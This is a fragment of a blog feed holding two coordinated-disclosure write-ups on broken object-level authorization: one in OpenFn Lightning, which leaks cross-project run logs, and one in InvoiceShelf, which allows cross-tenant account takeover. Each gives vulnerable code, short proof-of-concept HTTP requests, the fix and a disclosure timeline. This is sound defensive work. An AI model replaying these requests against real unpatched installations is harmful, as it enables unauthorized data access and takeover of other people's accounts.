  &lt;span class="n"&gt;can?&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Permissions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;can?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;ProjectUsers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:access_project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# Checks: is current_user a member of the project_id from the URL?&lt;/span&gt;
  &lt;span class="c1"&gt;# Does NOT check: does the run at params["id"] belong to this project?&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The membership check is role-agnostic — a &lt;code&gt;:viewer&lt;/code&gt; passes just fine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;can?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_actor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:access_project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="no"&gt;Projects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;member_of?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# user_id + project_id; any role passes&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpdhu5k7lkej365x2xzxi.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpdhu5k7lkej365x2xzxi.gif" alt="diagram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The run is then fetched by bare UUID, with no project filter.&lt;/strong&gt; The streaming LiveView (&lt;code&gt;lib/lightning_web/live/run_live/streaming.ex&lt;/code&gt;) calls &lt;code&gt;Runs.get/2&lt;/code&gt;, which resolves to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;defp&lt;/span&gt; &lt;span class="n"&gt;get_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;preloads&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="no"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="ss"&gt;where:&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;# &amp;lt;-- the whole WHERE clause&lt;/span&gt;
    &lt;span class="ss"&gt;preload:&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;preloads&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no &lt;code&gt;where: ... and project_id == ^project_id&lt;/code&gt;. Any valid run UUID comes back regardless of which project owns it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The URL project is then quietly overwritten by the run's own project.&lt;/strong&gt; After the async fetch resolves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;handle_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_run&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="n"&gt;socket&lt;/span&gt;
    &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_run&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_run&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;workflow&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# now Project A, not the URL's project&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the page finishes rendering in the &lt;em&gt;foreign&lt;/em&gt; project's context — and streams its log lines straight to the browser over the LiveView socket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="n"&gt;push_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"logs-&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;%{&lt;/span&gt;&lt;span class="ss"&gt;logs:&lt;/span&gt; &lt;span class="n"&gt;log_lines&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The check proved you belong to the project you named in the URL — and then handed you a run from a project you didn't.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;Two accounts on a build of the shipped tag, roles kept deliberately minimal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Account A&lt;/strong&gt; owns Project A, which has a run. I seeded one log line with a harmless marker: &lt;code&gt;PROJECT-A-PII-LEAK-MARKER beneficiary=John_Doe nid=12345&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Account B&lt;/strong&gt; is a &lt;code&gt;viewer&lt;/code&gt; of a &lt;em&gt;different&lt;/em&gt; project (Project C) and has &lt;strong&gt;no membership in Project A&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Account B requests its &lt;em&gt;own&lt;/em&gt; project in the path, and Project A's run UUID as the record:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /projects/&amp;lt;Project_C_id&amp;gt;/runs/&amp;lt;Project_A_run_uuid&amp;gt;   -&amp;gt;  HTTP 200, RunLive mounts
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response carried Project A's workflow name, work-order id, the run creator's email (&lt;code&gt;account_a@local.test&lt;/code&gt;), the step list, and the streamed log lines — including the planted marker. No admin role, no membership in Project A.&lt;/p&gt;

&lt;p&gt;The control confirms the check &lt;em&gt;does&lt;/em&gt; work — on the wrong noun:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /projects/&amp;lt;Project_A_id&amp;gt;/runs/&amp;lt;Project_A_run_uuid&amp;gt;   -&amp;gt;  302 redirect
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Naming Project A in the path (which B isn't a member of) is correctly refused. The disclosure works &lt;em&gt;because&lt;/em&gt; B substitutes a project it legitimately belongs to, while the run belongs to another. A request for a non-existent run UUID under B's own project returns an error — so the leak is specific to a valid foreign run id, not a generic error oracle.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Lightning already had the correctly-scoped query — the &lt;em&gt;cancel&lt;/em&gt; path used it. &lt;code&gt;Runs.get_for_project/2&lt;/code&gt; joins work-order → workflow and filters on the project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;get_for_project&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;run_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="no"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="ss"&gt;join:&lt;/span&gt; &lt;span class="n"&gt;wo&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;assoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:work_order&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="ss"&gt;join:&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;assoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:workflow&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="ss"&gt;where:&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;run_id&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt;-- the missing filter&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Repo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix (shipped in &lt;strong&gt;v2.17.0&lt;/strong&gt;) is to fetch the run through that project-scoped query on the view/stream path too, so a run only resolves inside the project the user was actually validated against — and to apply the same scoping to the sibling call site in &lt;code&gt;run_viewer_live.ex&lt;/code&gt;, which shared the exact unscoped fetch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authorize the object you return, not the identifier you were handed.&lt;/strong&gt; A membership check on a URL parameter proves nothing about a record fetched by a &lt;em&gt;different&lt;/em&gt; parameter. Scope the query that produces the data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A guarded sibling is a spec you already wrote.&lt;/strong&gt; When one path fetches with a &lt;code&gt;project_id&lt;/code&gt; join and a neighboring path fetches by bare id, that asymmetry isn't style — it's a missing check. Grep for the scoped helper and find every caller that skipped it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"There is a check" is not "the check covers this."&lt;/strong&gt; Read-path authorization gaps hide behind real, working guards that validate the wrong thing. Trace the data from the sink back to the boundary, not from the guard forward.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-16&lt;/strong&gt; — Reported to OpenFn via coordinated disclosure; local PoC confirmed against shipped tag v2.16.7.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-23&lt;/strong&gt; — Fixed in &lt;code&gt;v2.17.0&lt;/code&gt;; advisory &lt;strong&gt;GHSA-vf9q-phg3-hqj6&lt;/strong&gt; published. OpenFn confirmed all supported instances were patched.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; requested / pending at time of writing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Credit / CTA
&lt;/h2&gt;

&lt;p&gt;Found and reported under coordinated disclosure by &lt;strong&gt;Santosh Kumar Puppala&lt;/strong&gt; and &lt;a href="https://github.com/lukegranto23" rel="noopener noreferrer"&gt;&lt;strong&gt;@lukegranto23&lt;/strong&gt;&lt;/a&gt; — both credited as finders on the advisory; OpenFn addressed it in v2.17.0. (The advisory covers the same missing-scope pattern across many surfaces in the product; this post walks one representative read path.) If you run a multi-tenant app, the one-hour version of this post is: search your read paths for a resource fetched by bare id right after a scope check on a &lt;em&gt;different&lt;/em&gt; id — that's where this class lives.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq &amp;amp; Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>elixir</category>
      <category>appsec</category>
    </item>
    <item>
      <title>How one Owner could take over any account in another company — cross-tenant IDOR in InvoiceShelf (CVE-2026-55610)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Wed, 05 Aug 2026 03:04:18 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/how-one-owner-could-take-over-any-account-in-another-company-cross-tenant-idor-in-invoiceshelf-a8j</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/how-one-owner-could-take-over-any-account-in-another-company-cross-tenant-idor-in-invoiceshelf-a8j</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;InvoiceShelf (self-hosted, multi-company invoicing) let any company &lt;strong&gt;Owner&lt;/strong&gt; read and overwrite &lt;strong&gt;any user in any other company&lt;/strong&gt; on the same installation.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GET/PUT /api/v1/users/{id}&lt;/code&gt; resolved the user by &lt;strong&gt;global primary key&lt;/strong&gt;, and the policy only checked that you own &lt;em&gt;your&lt;/em&gt; header-company — never that the target belonged to it. Result: cross-tenant &lt;strong&gt;account takeover&lt;/strong&gt; (overwrite email + password, and re-assign the victim into your company as super-admin).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High, CVSS 8.7 (CWE-639).&lt;/strong&gt; Fixed in &lt;strong&gt;2.4.1&lt;/strong&gt;. I reported it and am credited as Reporter — &lt;strong&gt;CVE-2026-55610&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Multi-tenant apps live or die on one invariant: tenant A can never touch tenant B's data. InvoiceShelf enforced that on the &lt;em&gt;delete&lt;/em&gt; path but quietly forgot it on &lt;em&gt;read&lt;/em&gt; and &lt;em&gt;update&lt;/em&gt; of users — the highest-value object in the app. That one asymmetry turned "manage my company's users" into "manage everyone's."&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;InvoiceShelf is a Laravel app where each request carries a &lt;code&gt;company&lt;/code&gt; header, and a middleware pins that header to one of the &lt;em&gt;requester's&lt;/em&gt; companies. Users are managed through a standard resource route.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug (source → sink)
&lt;/h2&gt;

&lt;p&gt;The route uses implicit route-model binding — Laravel resolves &lt;code&gt;{user}&lt;/code&gt; straight from the global &lt;code&gt;users&lt;/code&gt; table by primary key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// routes/api.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;apiResource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/users'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;UsersController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// auth:sanctum + company + bouncer&lt;/span&gt;

&lt;span class="c1"&gt;// UsersController.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;                     &lt;span class="c1"&gt;// $user bound by GLOBAL primary key&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UserRequest&lt;/span&gt; &lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authorization is delegated to &lt;code&gt;UserPolicy&lt;/code&gt;, which leans on &lt;code&gt;isOwner()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// UserPolicy.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// User.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Company&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'company'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;owner_id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;isOwner()&lt;/code&gt; only asks "is the requester the owner of the company in &lt;em&gt;their own&lt;/em&gt; header?" — it never checks that &lt;code&gt;$target&lt;/code&gt; belongs to that company. So an Owner of Company A sails through the check for a user who lives entirely in Company B.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwdfkubtk1sxnucygnlm6.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwdfkubtk1sxnucygnlm6.gif" alt="How the account takeover works" width="800" height="586"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The check verified who &lt;em&gt;you&lt;/em&gt; are, never who the &lt;em&gt;target&lt;/em&gt; is — so &lt;code&gt;isOwner()&lt;/code&gt; was a global skeleton key, not a tenant boundary.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;Company A (owner: alice), Company B (owner: bob); &lt;strong&gt;carol&lt;/strong&gt; (id 7) belongs to &lt;strong&gt;Company B only&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# as alice, header  company: A
GET  /api/v1/users/7                                        -&amp;gt; 200, returns carol (Company B)
PUT  /api/v1/users/7  { email, password,
                        companies: [{ id: A, role: "super admin" }] }   -&amp;gt; 200
# carol's email + password overwritten; carol re-synced into Company A as super-admin

# control: a non-owner member of A
GET  /api/v1/users/7                                        -&amp;gt; 403
# the route IS access-controlled; the bug is specifically the missing target-company check for owners
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Version &lt;strong&gt;2.4.1&lt;/strong&gt; scopes the check to the requester's company — exactly the way the &lt;code&gt;delete()&lt;/code&gt; path already did (its code even carried the comment &lt;em&gt;"so a user from one company cannot delete accounts belonging to another"&lt;/em&gt;). After the owner check, verify the target belongs to the active company (&lt;code&gt;$target-&amp;gt;hasCompany($company)&lt;/code&gt; / &lt;code&gt;User::whereCompany(...)&lt;/code&gt;), or constrain the route-model binding to the active company.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Read and write paths need the &lt;em&gt;same&lt;/em&gt; tenant scoping.&lt;/strong&gt; A guard on &lt;code&gt;delete&lt;/code&gt; means nothing if &lt;code&gt;view&lt;/code&gt;/&lt;code&gt;update&lt;/code&gt; skip it — attackers just pick the unguarded verb.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implicit route-model binding by global PK is a footgun in multi-tenant apps.&lt;/strong&gt; Bind within the tenant scope, or you've shipped a global object lookup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Am I an owner?" is not "am I allowed to touch &lt;em&gt;this&lt;/em&gt; object?"&lt;/strong&gt; Authorize the object, not just the role.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-13&lt;/strong&gt; — reported privately via GitHub private vulnerability reporting.&lt;/li&gt;
&lt;li&gt;Fixed in &lt;strong&gt;2.4.1&lt;/strong&gt;; advisory &lt;strong&gt;GHSA-vgx6-6cqr-m8qr&lt;/strong&gt; published; &lt;strong&gt;CVE-2026-55610&lt;/strong&gt; assigned; credited as Reporter.&lt;/li&gt;
&lt;/ul&gt;

